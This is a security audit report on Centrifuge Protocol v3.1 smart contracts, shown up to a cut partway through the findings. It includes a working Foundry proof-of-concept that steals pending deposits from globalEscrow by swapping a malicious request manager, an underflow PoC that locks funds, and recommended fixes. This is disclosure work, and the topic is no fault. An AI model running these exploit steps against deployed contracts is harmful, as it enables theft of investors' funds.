Blackthorn

Security Review For **Centrifuge**

Collaborative Audit Prepared For:	**Centrifuge**
Lead Security Expert(s):	**0x52**
	0xadrii
	bughuntoor
Date Audited:	**October 20 - November 17, 2025**

Introduction

The Centrifuge Protocol is an open, decentralized protocol for onchain asset management. Built on immutable smart contracts, it enables permissionless deployment of customizable tokenization products.

Build a wide range of use cases, from permissioned funds to onchain loans, while enabling fast, secure deployment. ERC-4626 and ERC-7540 vaults allow seamless integration into DeFi.

Using protocol-level chain abstraction, tokenization issuers access liquidity across any network, all managed from one Hub chain of their choice.

The contest focuses on the v3.1 release, which adds onchain accounting, an improved multi-chain messaging system, a refactored core module that increases modularity, and more.

Scope

Repository: centrifuge/protocol-v3

Audited Commit: 6b9d36eabee48728486f377ea2766a5cd233c555

Files:

- src/common/adapters/AxelarAdapter.sol
- src/common/adapters/MultiAdapter.sol
- src/common/adapters/WormholeAdapter.sol
- src/common/BaseValuation.sol
- src/common/factories/interfaces/IPoolEscrowFactory.sol
- src/common/factories/PoolEscrowFactory.sol
- src/common/GasService.sol
- src/common/Gateway.sol
- src/common/Guardian.sol

- src/common/libraries/MessageLib.sol
- src/common/libraries/MessageProofLib.sol
- src/common/libraries/PricingLib.sol
- src/common/libraries/RequestCallbackMessageLib.sol
- src/common/libraries/RequestMessageLib.sol
- src/common/MessageDispatcher.sol
- src/common/MessageProcessor.sol
- src/common/PoolEscrow.sol
- src/common/Root.sol
- src/common/TokenRecoverer.sol
- src/common/types/AccountId.sol
- src/common/types/AssetId.sol
- src/common/types/PoolId.sol
- src/common/types/ShareClassId.sol
- src/hooks/FreezeOnly.sol
- src/hooks/FullRestrictions.sol
- src/hooks/libraries/UpdateRestrictionMessageLib.sol
- src/hooks/RedemptionRestrictions.sol
- src/hub/Accounting.sol
- src/hub/Holdings.sol
- src/hub/HubHelpers.sol
- src/hub/HubRegistry.sol
- src/hub/Hub.sol
- src/hub/ShareClassManager.sol

- src/managers/decoders/BaseDecoder.sol
- src/managers/decoders/CircleDecoder.sol
- src/managers/decoders/VaultDecoder.sol
- src/managers/MerkleProofManager.sol
- src/managers/OnOfframpManager.sol
- src/misc/Auth.sol
- src/misc/ERC20.sol
- src/misc/Escrow.sol
- src/misc/IdentityValuation.sol
- src/misc/libraries/ArrayLib.sol
- src/misc/libraries/BitmapLib.sol
- src/misc/libraries/BytesLib.sol
- src/misc/libraries/CastLib.sol
- src/misc/libraries/EIP712Lib.sol
- src/misc/libraries/MathLib.sol
- src/misc/libraries/MerkleProofLib.sol
- src/misc/libraries/SafeTransferLib.sol
- src/misc/libraries/SignatureLib.sol
- src/misc/libraries/StringLib.sol
- src/misc/libraries/TransientArrayLib.sol
- src/misc/libraries/TransientBytesLib.sol
- src/misc/libraries/TransientStorageLib.sol
- src/misc/Multicall.sol
- src/misc/Recoverable.sol

- src/misc/ReentrancyProtection.sol
- src/misc/types/D18.sol
- src/spoke/BalanceSheet.sol
- src/spoke/factories/interfaces/ITokenFactory.sol
- src/spoke/factories/interfaces/IVaultFactory.sol
- src/spoke/factories/TokenFactory.sol
- src/spoke/libraries/UpdateContractMessageLib.sol
- src/spoke/ShareToken.sol
- src/spoke/Spoke.sol
- src/spoke/types/Price.sol
- src/vaults/AsyncRequestManager.sol
- src/vaults/AsyncVault.sol
- src/vaults/BaseVaults.sol
- src/vaults/factories/AsyncVaultFactory.sol
- src/vaults/factories/SyncDepositVaultFactory.sol
- src/vaults/SyncDepositVault.sol
- src/vaults/SyncManager.sol
- src/vaults/VaultRouter.sol

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.

Issues Found

High	Medium
1	9

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security Experts Dedicated to This Review

@0x52

@0xadrii

@bughuntoor

Issue H-1: Pool managers can steal all other pools' pending deposits from `globalEscrow` via malicious `requestManager` swapping

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/641

Found by

0x52, 0xRstStn, 6PottedL, Audittens, LeFy, NovaTheMachine, PowPowPow, Waydou, anonymousjoe, asui, gh0xt, skybluescar

Summary

The request manager system allows attackers to steal all pending user deposits from `globalEscrow`. An attacker can create fraudulent deposit requests with a malicious request manager, then swap to `AsyncRequestManager` before triggering `approvedDeposits` callbacks. This causes `AsyncRequestManager.approvedDeposits()` to transfer legitimate user funds from `globalEscrow` to the attacker's pool escrow, enabling theft of all pending deposit funds across all vaults and pools.

Root Cause

Spoke.sol#L340-L345 - `Spoke.requestCallback()` uses the current `requestManager[poolId]` allowing attackers to create fraudulent requests with a malicious manager then swap to `AsyncRequestManager` to receive `approvedDeposits` callbacks that transfer funds from `globalEscrow`.

Vulnerability Detail

The protocol uses a request manager pattern where each pool can set a pluggable request manager to handle deposit and redeem requests. The `Spoke.request()` function validates that the caller is the current request manager:

Spoke.sol#L322-L337

```
function request(
    PoolId poolId,
    ShareClassId scId,
    AssetId assetId,
    bytes memory payload,
    address refund,
    bool unpaid
) external payable {
    IRequestManager manager = requestManager[poolId];
    require(address(manager) != address(0), InvalidRequestManager());
    require(msg.sender == address(manager), NotAuthorized());

    gateway.setUnpaidMode(unpaid);
    sender.sendRequest{value: msg.value}(poolId, scId, assetId, payload, refund);
    gateway.setUnpaidMode(false);
}
```

However, when the callback returns from the hub, `Spoke.requestCallback()` uses the current `requestManager[poolId]` without validating it's the same manager that created the request:

Spoke.sol#L340-L345

```
function requestCallback(PoolId poolId, ShareClassId scId, AssetId assetId, bytes
↪  memory payload) external auth {
    IRequestManager manager = requestManager[poolId];
    require(address(manager) != address(0), InvalidRequestManager());

    manager.callback(poolId, scId, assetId, payload);
}
```

Pool managers can swap request managers at any time via `hub.setRequestManager()`:

Hub.sol#L222-L235

```
function setRequestManager(
    PoolId poolId,
```

```
    uint16 centrifugeId,
    IHubRequestManager hubManager,
    bytes32 spokeManager,
    address refund
) external payable {
    _isManager(poolId);

    hubRegistry.setHubRequestManager(poolId, centrifugeId, hubManager);

    emit SetSpokeRequestManager(centrifugeId, poolId, spokeManager);
    sender.sendSetRequestManager{value: msgValue()}(centrifugeId, poolId,
    ↪  spokeManager, refund);
}
```

All user deposits go to `globalEscrow` regardless of whether the pool is local or remote. When users call `AsyncVault.requestDeposit()`, assets are transferred directly to `globalEscrow`:

AsyncVault.sol#L44-53

```
function requestDeposit(uint256 assets, address controller, address owner) public
↪  returns (uint256) {
    require(owner == msg.sender || isOperator[owner][msg.sender], InvalidOwner());
    require(IERC20(asset).balanceOf(owner) >= assets, InsufficientBalance());

    require(asyncManager().requestDeposit(this, assets, controller, owner,
    ↪  msg.sender), RequestDepositFailed());
    SafeTransferLib.safeTransferFrom(asset, owner,
    ↪  address(baseManager.globalEscrow()), assets);
    // ...
}
```

When deposits are approved, `AsyncRequestManager.approvedDeposits()` transfers these assets from `globalEscrow` to the pool's escrow:

AsyncRequestManager.sol#L254-270

```
function approvedDeposits(
    PoolId poolId,
```

```
    ShareClassId scId,
    AssetId assetId,
    uint128 assetAmount,
    D18 pricePoolPerAsset
) public auth {
    (address asset, uint256 tokenId) = spoke.idToAsset(assetId);

    // Note deposit and transfer from global escrow into the pool escrow
    balanceSheet.overridePricePoolPerAsset(poolId, scId, assetId,
    ↪  pricePoolPerAsset);
    balanceSheet.noteDeposit(poolId, scId, asset, tokenId, assetAmount);
    balanceSheet.resetPricePoolPerAsset(poolId, scId, assetId);

    globalEscrow.authTransferTo(asset, tokenId, address(poolEscrow(poolId)),
    ↪  assetAmount);
}
```

An attacker can exploit this by:

1. Creating their own pool and setting a malicious request manager
2. The malicious manager creates fraudulent deposit requests via `spoke.request()` - this passes validation because `msg.sender` is the current manager
3. The attacker swaps to `AsyncRequestManager` via `hub.setRequestManager()`
4. As the pool manager, the attacker calls `batchRequestManager.approveDeposits()` which triggers callbacks
5. The callback executes via `spoke.requestCallback()` which calls the current manager (`AsyncRequestManager`)
6. `AsyncRequestManager.approvedDeposits()` transfers funds from `globalEscrow` to the attacker's pool escrow

The key issue is that `spoke.requestCallback()` trusts the current `requestManager[poolId]` to be the same manager that created the request, but this is not enforced. The attacker exploits this by creating requests with one manager, then swapping to a different manager before callbacks execute.

Alternative attack vector: Instead of using `batchRequestManager.approveDeposits()`, the

attacker can swap the hub request manager to a malicious implementation and send `approvedDeposits` callbacks directly from the malicious hub manager. This bypasses the need to call `batchRequestManager.approveDeposits()` entirely.

Extracting stolen funds: Once funds are transferred to the attacker's pool escrow, extracting them is trivial. The attacker can set themselves as a manager of their pool on the `balanceSheet` via `hub.updateBalanceSheetManager()`, then call `balanceSheet.withdraw()` to transfer all stolen funds to their own address.

Proof of Concept

Add the following file to `protocol/test`:

```
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {IRequestManager} from "../src/core/interfaces/IRequestManager.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IHubRequestManager} from
 ↪  "../src/core/hub/interfaces/IHubRequestManager.sol";
import {PoolId, newPoolId} from "../src/core/types/PoolId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {AssetId, newAssetId} from "../src/core/types/AssetId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {RequestMessageLib} from "../src/vaults/libraries/RequestMessageLib.sol";
import {RequestCallbackMessageLib} from
 ↪  "../src/vaults/libraries/RequestCallbackMessageLib.sol";
import {IBatchRequestManager} from
 ↪  "../src/vaults/interfaces/IBatchRequestManager.sol";
import {D18, d18} from "../src/misc/types/D18.sol";
import {AsyncVault} from "../src/vaults/AsyncVault.sol";
import {CastLib} from "../src/misc/libraries/CastLib.sol";
import "forge-std/console.sol";

/**
 * @notice Malicious request manager for manager swap attack
 */
contract MaliciousRequestManager is IRequestManager {
```

```
    using RequestMessageLib for *;
    ISpoke public spoke;
    PoolId public poolId;
    ShareClassId public scId;
    AssetId public assetId;
    address public attacker;
    uint128 public stolenAmount;

    constructor(address _spoke, PoolId _poolId, ShareClassId _scId, AssetId
    ↪  _assetId, address _attacker) {
        spoke = ISpoke(_spoke);
        poolId = _poolId;
        scId = _scId;
        assetId = _assetId;
        attacker = _attacker;
    }

    function createFraudulentDeposit(uint128 amount, bytes32 investor) external {
        stolenAmount = amount;

        bytes memory payload = RequestMessageLib.DepositRequest(investor,
        ↪  amount).serialize();

        // This call passes because msg.sender == this (the request manager)
        spoke.request(poolId, scId, assetId, payload, address(this), true);
    }

    function callback(PoolId, ShareClassId, AssetId, bytes calldata) external pure {
        revert("Should not be called");
    }
}

contract RequestManagerSwapTest is BaseTest {
    using RequestMessageLib for *;
    using RequestCallbackMessageLib for *;
    using CastLib for *;

    MaliciousRequestManager public maliciousManager;
```

```
    PoolId public attackerPool;
    ShareClassId public attackerScId;
    AssetId public testAssetId;
    address public legitimateInvestor = makeAddr("legitimateInvestor");
    address public attackerAddress = makeAddr("attacker");

    function setUp() public override {
        super.setUp();

        attackerScId = ShareClassId.wrap(defaultShareClassId);

        // Create attacker's pool on THIS_CHAIN_ID
        attackerPool = newPoolId(THIS_CHAIN_ID, 999);

        // Set up adapters for THIS_CHAIN_ID so messages can reach the spoke
        multiAdapter.setAdapters(
            THIS_CHAIN_ID, attackerPool, testAdapters, uint8(testAdapters.length),
            ↪  uint8(testAdapters.length)
        );

        // Register attacker pool on hub with attacker as manager (use non-zero
        ↪  AssetId for currency)
        hubRegistry.registerPool(attackerPool, attackerAddress, AssetId.wrap(840));

        // Add pool and share class to spoke (similar to deployVault helper)
        spoke.addPool(attackerPool);
        centrifugeChain.addShareClass(
            attackerPool.raw(),
            defaultShareClassId,
            "AttackerToken",
            "ATK",
            6,
            address(0)
        );
        centrifugeChain.updatePricePoolPerShare(attackerPool.raw(),
        ↪  defaultShareClassId, uint128(10 ** 18), uint64(block.timestamp));

        // Get or register the asset
```

```
        try spoke.assetToId(address(erc20), erc20TokenId) returns (AssetId
        ↪  existingAssetId) {
            testAssetId = existingAssetId;
        } catch {
            testAssetId = spoke.registerAsset{value: DEFAULT_GAS}(OTHER_CHAIN_ID,
            ↪  address(erc20), erc20TokenId, address(this));
        }

        // Update price for the asset
        centrifugeChain.updatePricePoolPerAsset(
            attackerPool.raw(), defaultShareClassId, testAssetId.raw(), uint128(10
            ↪  ** 18), uint64(block.timestamp)
        );

        // Register the asset on the hub
        try hubRegistry.decimals(testAssetId) {} catch {
            hubRegistry.registerAsset(testAssetId, 6);
        }

        // Set asyncRequestManager as manager on balanceSheet for the attacker pool
        balanceSheet.updateManager(attackerPool, address(asyncRequestManager),
        ↪  true);

        // Fund attacker with ETH for gas
        vm.deal(attackerAddress, 10 ether);
    }

    /**
     * Attack flow:
     * 1. Legitimate investor deposits into POOL_A (on OTHER_CHAIN_ID), funds go to
     ↪  globalEscrow
     * 2. Attacker sets malicious request manager on their pool via
     ↪  hub.setRequestManager()
     * 3. Malicious manager creates fraudulent deposit request
     * 4. Attacker swaps back to AsyncRequestManager via hub.setRequestManager()
     * 5. Attacker calls batchRequestManager.approveDeposits() as pool manager
     * 6. This triggers AsyncRequestManager callback, transferring funds from
     ↪  globalEscrow to attacker pool
```

```
 */
/// forge-config: default.isolate = true
function testRequestManagerSwapStealsGlobalEscrow() public {
    console.log("\n=== REQUEST MANAGER SWAP ATTACK ===\n");

    // Step 1: Create legitimate deposits in globalEscrow by depositing to
    ↪  remote POOL_A
    console.log("Step 1: Legitimate investor deposits to POOL_A (remote), funds
    ↪  stay in globalEscrow");

    // Deploy vault for POOL_A on local spoke (POOL_A is on OTHER_CHAIN_ID)
    (, address poolAVault,) = deployVault(
        VaultKind.Async,
        6,
        address(fullRestrictionsHook),
        defaultShareClassId,
        address(erc20),
        erc20TokenId,
        OTHER_CHAIN_ID  // POOL_A is remote
    );

    // Deposit to POOL_A - funds will stay in globalEscrow because pool is
    ↪  remote
    uint128 legitimateDepositAmount = 1000e6;
    erc20.mint(legitimateInvestor, legitimateDepositAmount);
    centrifugeChain.updateMember(POOL_A.raw(), defaultShareClassId,
    ↪  legitimateInvestor, type(uint64).max);

    vm.startPrank(legitimateInvestor);
    erc20.approve(poolAVault, legitimateDepositAmount);
    AsyncVault(poolAVault).requestDeposit(legitimateDepositAmount,
    ↪  legitimateInvestor, legitimateInvestor);
    vm.stopPrank();

    uint256 globalEscrowBalanceBefore =
    ↪  erc20.balanceOf(address(asyncRequestManager.globalEscrow()));
    console.log("  GlobalEscrow balance:", globalEscrowBalanceBefore);
```

```
assertEq(globalEscrowBalanceBefore, legitimateDepositAmount, "GlobalEscrow
↪  should have legitimate deposits");

// Step 2: Set malicious request manager via hub.setRequestManager()
console.log("\nStep 2: Attacker sets malicious request manager via
↪  hub.setRequestManager()");

maliciousManager = new MaliciousRequestManager(
    address(spoke),
    attackerPool,
    attackerScId,
    testAssetId,
    attackerAddress
);

vm.prank(attackerAddress);
hub.setRequestManager{value: DEFAULT_GAS}(
    attackerPool,
    THIS_CHAIN_ID,  // Set on local spoke
    IHubRequestManager(address(batchRequestManager)),  // Use
    ↪  batchRequestManager as hub manager
    address(maliciousManager).toBytes32(),
    attackerAddress
);

// Step 3: Create fraudulent deposit request
console.log("\nStep 3: Malicious manager creates fraudulent deposit
↪  request");
uint128 stolenAmount = 1000e6;

maliciousManager.createFraudulentDeposit(
    stolenAmount,
    bytes32(bytes20(attackerAddress))
);
console.log("  Fraudulent deposit request created for:", stolenAmount);

// Execute the fraudulent request message on the hub to increment
↪  pendingDeposit
```

```
bytes memory fraudulentRequestMessage = adapter1.values_bytes("send");
adapter1.execute(fraudulentRequestMessage);

// Step 4: Swap back to AsyncRequestManager via hub.setRequestManager()
console.log("\nStep 4: Attacker swaps back to AsyncRequestManager via hub");
vm.prank(attackerAddress);
hub.setRequestManager{value: DEFAULT_GAS}(
    attackerPool,
    THIS_CHAIN_ID,
    IHubRequestManager(address(batchRequestManager)),  // Keep
    ↪  batchRequestManager as hub manager
    address(asyncRequestManager).toBytes32(),
    attackerAddress
);

// Step 5: Attacker directly calls batchRequestManager.approveDeposits() as
↪  pool manager
console.log("\nStep 5: Attacker calls batchRequestManager.approveDeposits()
↪  as pool manager");

vm.prank(attackerAddress);
batchRequestManager.approveDeposits{value: DEFAULT_GAS}(
    attackerPool,
    attackerScId,
    testAssetId,
    1,  // nowDepositEpochId (fraudulent request created epoch 0, now at
    ↪  epoch 1)
    stolenAmount,
    d18(1e18),  // 1:1 price
    attackerAddress
);

console.log("\n=== ATTACK RESULTS ===");

uint256 globalEscrowBalanceAfter =
↪  erc20.balanceOf(address(asyncRequestManager.globalEscrow()));
console.log("GlobalEscrow balance before attack:",
↪  globalEscrowBalanceBefore);
```

```
        console.log("GlobalEscrow balance after attack: ",
        ↪  globalEscrowBalanceAfter);
        console.log("Funds stolen from GlobalEscrow:    ",
        ↪  globalEscrowBalanceBefore - globalEscrowBalanceAfter);

        address attackerPoolEscrow =
        ↪  address(asyncRequestManager.poolEscrow(attackerPool));
        uint256 attackerPoolBalance = erc20.balanceOf(attackerPoolEscrow);
        console.log("Attacker pool escrow balance:     ", attackerPoolBalance);

        console.log("\n=== ATTACK SUCCESSFUL ===");
        console.log("Attacker stole", stolenAmount, "from legitimate deposits in
        ↪  globalEscrow\n");

        // Verify the theft
        assertEq(
            globalEscrowBalanceBefore - globalEscrowBalanceAfter,
            stolenAmount,
            "Funds should be stolen from globalEscrow"
        );
        assertEq(
            attackerPoolBalance,
            stolenAmount,
            "Stolen funds should be in attacker pool escrow"
        );
    }
}
```

Impact

An attacker can steal funds from `globalEscrow` by creating fraudulent deposit requests with a malicious request manager, then swapping to `AsyncRequestManager` before callbacks execute. The `globalEscrow` holds all pending deposit funds from legitimate users across all vaults and pools. When the attacker's fraudulent requests are processed, `AsyncRequestManager.approvedDeposits()` transfers these legitimate user funds from `globalEscrow` to the attacker's pool escrow.

Extracting the stolen funds is trivial - the attacker simply sets themselves as a manager

on `balanceSheet` via `hub.updateBalanceSheetManager()`, then calls `balanceSheet.withdraw()` to transfer all funds to their address.

The vulnerability allows theft of any amount up to the `globalEscrow` balance. Since `globalEscrow` aggregates all pending deposits across all vaults and pools on the spoke, a single attacker can steal pending funds from all legitimate pools in a single attack.

Code Snippet

Spoke.sol#L322-L337

Spoke.sol#L340-L345

Hub.sol#L222-L235

AsyncVault.sol#L44-L53

AsyncRequestManager.sol#L254-L270

Tool Used

Manual Review

Recommendation

Implement whitelists of authorized request managers on both the spoke and hub to prevent malicious managers from creating fraudulent requests and callbacks. The protocol should maintain governance-controlled whitelists and validate that request managers are on these lists before accepting requests or triggering callbacks.

```
contract Spoke {
+   // Whitelist of authorized request managers
+   mapping(address => bool) public authorizedRequestManagers;
+

    function request(
        PoolId poolId,
        ShareClassId scId,
        AssetId assetId,
```

```
        bytes memory payload,
        address refund,
        bool unpaid
    ) external payable {
        IRequestManager manager = requestManager[poolId];
        require(address(manager) != address(0), InvalidRequestManager());
        require(msg.sender == address(manager), NotAuthorized());
+       require(authorizedRequestManagers[address(manager)],
↪   UnauthorizedRequestManager());

        gateway.setUnpaidMode(unpaid);
        sender.sendRequest{value: msg.value}(poolId, scId, assetId, payload,
        ↪   refund);
        gateway.setUnpaidMode(false);
    }
}
```

```
contract Hub {
+   // Whitelist of authorized hub request managers
+   mapping(address => bool) public authorizedHubRequestManagers;
+

    function setRequestManager(
        PoolId poolId,
        uint16 centrifugeId,
        IHubRequestManager hubManager,
        bytes32 spokeManager,
        address refund
    ) external payable {
        _isManager(poolId);
+       require(authorizedHubRequestManagers[address(hubManager)],
↪   UnauthorizedHubRequestManager());

        hubRegistry.setHubRequestManager(poolId, centrifugeId, hubManager);

        emit SetSpokeRequestManager(centrifugeId, poolId, spokeManager);
        sender.sendSetRequestManager{value: msgValue()}(centrifugeId, poolId,
        ↪   spokeManager, refund);
```

```
    }
}
```

Issue M-1: Incorrectly handled subtraction leads to underflow resulting in permanent user fund lock and DOS

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/187

Found by

Bobai23, BoyD, HeckerTrieuTien, TessKimy, anonymousjoe, blockace, ezsia, fullstop, hassan-truscova, jongwon, namaila, silver_eth, x15

Summary

When notifyDeposit() is called, if the user has a cancellation queued the code reaches the following line:

```
pendingTotal = isIncrement ? pendingTotal + amount : pendingTotal - amount;
```

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/vaults/BatchRequestManager.sol#L926

Here the code assumes that `pendingTotal >= amount` if `isIncrement = false`. This assumption is broken in a case which leads to `pendingTotal` underflowing and thus the txn reverting. Which means that the user can never call the notifyDeposit() function. And the user's deposited funds will be forever locked in the contract without ever getting the shares or being refunded. The particular case is when the following condition doesnt hold arising from a precision loss : `PendingDeposit[poolId][scId][assetId] < Σ(userOrder.pending)`. More regarding this is described below.

Root Cause

1. In the approveDeposits() function, the `pendingDeposit[][][]` is subtracted by the `approvedAssetAmount`.

```
// Reduce pending
pendingDeposit[poolId][scId_][depositAssetId] -= approvedAssetAmount;
```

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/vaults/BatchRequestManager.sol#L229-L230 2. In the _claimDeposit(), `paymentAssetAmount` is calculated. This calculation however can have a precision loss leading to a lower than correct value (Note: this precision loss is for the paymentAssetAmount and not for the payoutShareAmount which is addressed in the comments). Due to this precision loss, the summation of all the `paymentAssetAmount` of each user will be less than the `approvedAssetAmount` which was deducted in step 1.(this smaller than actual `paymentAssetAmount` will be deducted from the individual user's `pending`)

```
paymentAssetAmount = epochAmounts.approvedAssetAmount == 0
    ? 0
    : userOrder.pending.mulDiv(epochAmounts.approvedAssetAmount,
    ↪  epochAmounts.pendingAssetAmount).toUint128(); // <= Precision loss

// NOTE: Due to precision loss, the sum of claimable user amounts is leq than the
↪  amount of minted share class
// tokens corresponding to the approved share amount (instead of equality). I.e.,
↪  it is possible for an epoch to
// have an excess of a share class tokens which cannot be claimed by anyone.
if (paymentAssetAmount > 0) {
    payoutShareAmount = epochAmounts.pricePoolPerShare.isNotZero()
        ? PricingLib.assetToShareAmount(
            paymentAssetAmount,
            hubRegistry.decimals(depositAssetId),
            hubRegistry.decimals(poolId),
            epochAmounts.pricePoolPerAsset,
            epochAmounts.pricePoolPerShare,
            MathLib.Rounding.Down
        )
        : 0;

    userOrder.pending -= paymentAssetAmount;   // <= Being subtracted from each user
```

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/

protocol/src/vaults/BatchRequestManager.sol#L511-L530 3. Which means that, in the next epoch, the PendingDeposit[][][] will be less than the summation of the `userOrder.pending` of all the users.i.e: 'PendingDeposit[poolId][scId][assetId] < ∑(userOrder.pending)' 4. So, if all users cancel their deposit orders, the users at the ends will face an arithmetic underflow when the subtraction is tried. Which will lead to their funds being stuck in the contract

```
pendingTotal = isIncrement ? pendingTotal + amount : pendingTotal - amount; // <=
↪  subtraction tried due to queued cancellation
```

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/vaults/BatchRequestManager.sol#L926

Internal Pre-conditions

Last user(/few users) try to cancel their requests.

External Pre-conditions

None.

Attack Path

There is no attack path per say, this occurs during normal working of the protocol.

1. Alice deposits 4 tokens into the vault
2. Bob deposits 5 tokens into the vault
3. Pool Manager approves 4 tokens
4. Alice and Bob queue their cancellations
5. Alice claims her shares by calling notifyDeposit(), which leads to her queued cancel also executing
6. Bob calls the notifyDeposit() but it reverts due to arithmetic underflow.

Basically 4 is subtracted from the pendingDeposits during approval by manager But Alice gets (4 * 4) /9 = 1 and Bob gets (4 * 5) /9 = 2 meaning alice + bob = 3, while 4 was

deducted from the total pendingDeposits. This mismatch will cause an issue during cancellation.

Impact

Permanent lock of funds for the last few users (depends on the precision loss which grows over time).

PoC

Add the following test case in protocol\test\vaults\unit\BatchRequestManager.t.sol\BatchRequestManager.t.sol (Note that the test will fail due to arithmetic underflow) Also import the console library (or remove the console.log lines) `import {console} from "forge-std/console.sol";` POC:

```
function test_underflow_POC() public {
    bytes32 investor1 = bytes32("investor1");
    bytes32 investor2 = bytes32("investor2");

    uint128 depositAmount1 = 4;
    uint128 depositAmount2 = 5;
    uint128 approvedAmount1 = 4;
    uint128 approvedAmount2 = 5;

    D18 pricePoolPerShare = d18(uint128(bound(500, 1e14, type(uint128).max /
    ↪  1e18)));

    // investor1 deposits 4 tokens, investor2 deposits 5 tokens
    batchRequestManager.requestDeposit(poolId, scId, depositAmount1, investor1,
    ↪  USDC);
    batchRequestManager.requestDeposit(poolId, scId, depositAmount2, investor2,
    ↪  USDC);

    (uint128 pending, uint32 timestamp) =
    ↪  batchRequestManager.depositRequest(poolId,scId,USDC,investor1);
    console.log("Investor1's user.pending is :", pending);
    console.log("Investor1's user.timestamp is :", timestamp);
```

```
(pending,timestamp) =
↪  batchRequestManager.depositRequest(poolId,scId,USDC,investor2);
console.log("Investor2's user.pending is :", pending);
console.log("Investor2's user.timestamp is :", timestamp);
console.log("Total pending right now is :",
↪  batchRequestManager.pendingDeposit(poolId,scId,USDC));
console.log("Current deposit timestamp is :", _nowDeposit(USDC));

// pool manager approves 4 tokens and issues shares
vm.startPrank(MANAGER);
batchRequestManager.approveDeposits{
    value: COST
}(poolId, scId, USDC, _nowDeposit(USDC), approvedAmount1,
↪  _pricePoolPerAsset(USDC), REFUND);
batchRequestManager.issueShares{
    value: COST
}(poolId, scId, USDC, _nowIssue(USDC), pricePoolPerShare, SHARE_HOOK_GAS,
↪  REFUND);
vm.stopPrank();
console.log("Total pending right now is :",
↪  batchRequestManager.pendingDeposit(poolId,scId,USDC));
console.log("Current deposit timestamp is :", _nowDeposit(USDC));

// investor1 and investor2 queue their cancellations for the remaining amount
batchRequestManager.cancelDepositRequest(poolId, scId, investor1, USDC);
batchRequestManager.cancelDepositRequest(poolId, scId, investor2, USDC);
(bool ans,) =
↪  batchRequestManager.queuedDepositRequest(poolId,scId,USDC,investor1);
console.log("Investor1 is cancelling :", ans);
(ans,) = batchRequestManager.queuedDepositRequest(poolId,scId,USDC,investor2);
console.log("Investor1 is cancelling :", ans);

// investor1 and investor2 try claim their shares by calling notifyDeposit()
batchRequestManager.notifyDeposit{value: COST}(poolId, scId, USDC,
↪  bytes32("investor1"), 10, REFUND);
console.log("Total pending right now(after investor 1 claims) is :",
↪  batchRequestManager.pendingDeposit(poolId,scId,USDC));
```

```
    (pending,timestamp) =
    ↪  batchRequestManager.depositRequest(poolId,scId,USDC,investor2);
    console.log("Investor2's user.pending is :", pending);
    batchRequestManager.notifyDeposit{value: COST}(poolId, scId, USDC,
    ↪  bytes32("investor2"), 10, REFUND);
}
```

For better understanding of where exactly it fails add the following code snippets to BatchRequestManager.sol:

1. Update `_updatePendingDeposit` as follows:

```
uint128 pendingTotal = pendingDeposit[poolId][scId_][assetId];
console.log("Reached here");    // <= added line
pendingTotal = isIncrement ? pendingTotal + amount : pendingTotal - amount;
console.log("Reached here 2");  // added line
pendingDeposit[poolId][scId_][assetId] = pendingTotal;
```

2. Add import as follows:

```
import {console} from "forge-std/console.sol";
```

Mitigation

Update the `_updatePendingDeposit` function as follows to handle the underflow.

```
if(isIncrement == false && amount > pendingTotal)
        amount = pendingTotal;
pendingTotal = isIncrement ? pendingTotal + amount : pendingTotal - amount;
```

Issue M-2: `SimplePriceManager.onUpdate()` lack of forward execution fee leads dependent functions to revert

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/359

Found by

Cybrid, Tenalia-Audits, Ziusz, bbl4de, harry

Summary

`SimplePriceManager.onUpdate()` wraps its work in `gateway.withBatch()` but does not forward any native token as the execution fee. In practice, partial path that relies on `onUpdate()` will consistently revert.

Root Cause

`Gateway.withBatch()` needs native token to cover the adapter's estimated fee. However, `SimplePriceManager.onUpdate()` is not payable and forwards no value to `withBatch()`, so the batch runs with zero fuel:

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/managers/hub/SimplePriceManager.sol#L78-L82

```
function onUpdate(PoolId poolId, ShareClassId scId, uint16 centrifugeId, uint128
↪  netAssetValue) public virtual {
    require(msg.sender == navUpdater, NotAuthorized());
    require(scId.index() == 1, InvalidShareClass());

    gateway.withBatch(
        abi.encodeWithSelector(
            SimplePriceManager.onUpdateCallback.selector, poolId, scId,
            ↪  centrifugeId, netAssetValue
```

```
        ),
        address(0)
    );
}
```

When `unpaidMode` is false, the lack of execution fee causes `withBatch()` to revert. In this case, any function that relies on `onUpdate()` will DoS.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

When `NAVManager.updateHoldingValuation()` or `OracleValuation.setPrice()` executes, they trigger `onUpdate()`.

Inside `withBatch()`, it first runs `onUpdateCallback()` and buffers messages:

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/managers/hub/SimplePriceManager.sol#L114-L116

```
for (uint256 i; i < networks_.length; i++) {
    hub.notifySharePrice(poolId, scId, networks_[i], address(0));
}
```

When `withBatch()` completes, it flushes the batch via `_endBatching()`. With `msg.value == 0` and `callbackValue == 0`, `_endBatching()` passes `0` as fuel:

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/core/messaging/Gateway.sol#L253

```
uint256 cost = _endBatching(msg.value - callbackValue, refund);
```

So inside `_endBatching()`, `fuel - cost` becomes `0` and is passed as the parameter to `_send()`: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/core/messaging/Gateway.sol#L270

```
cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);
```

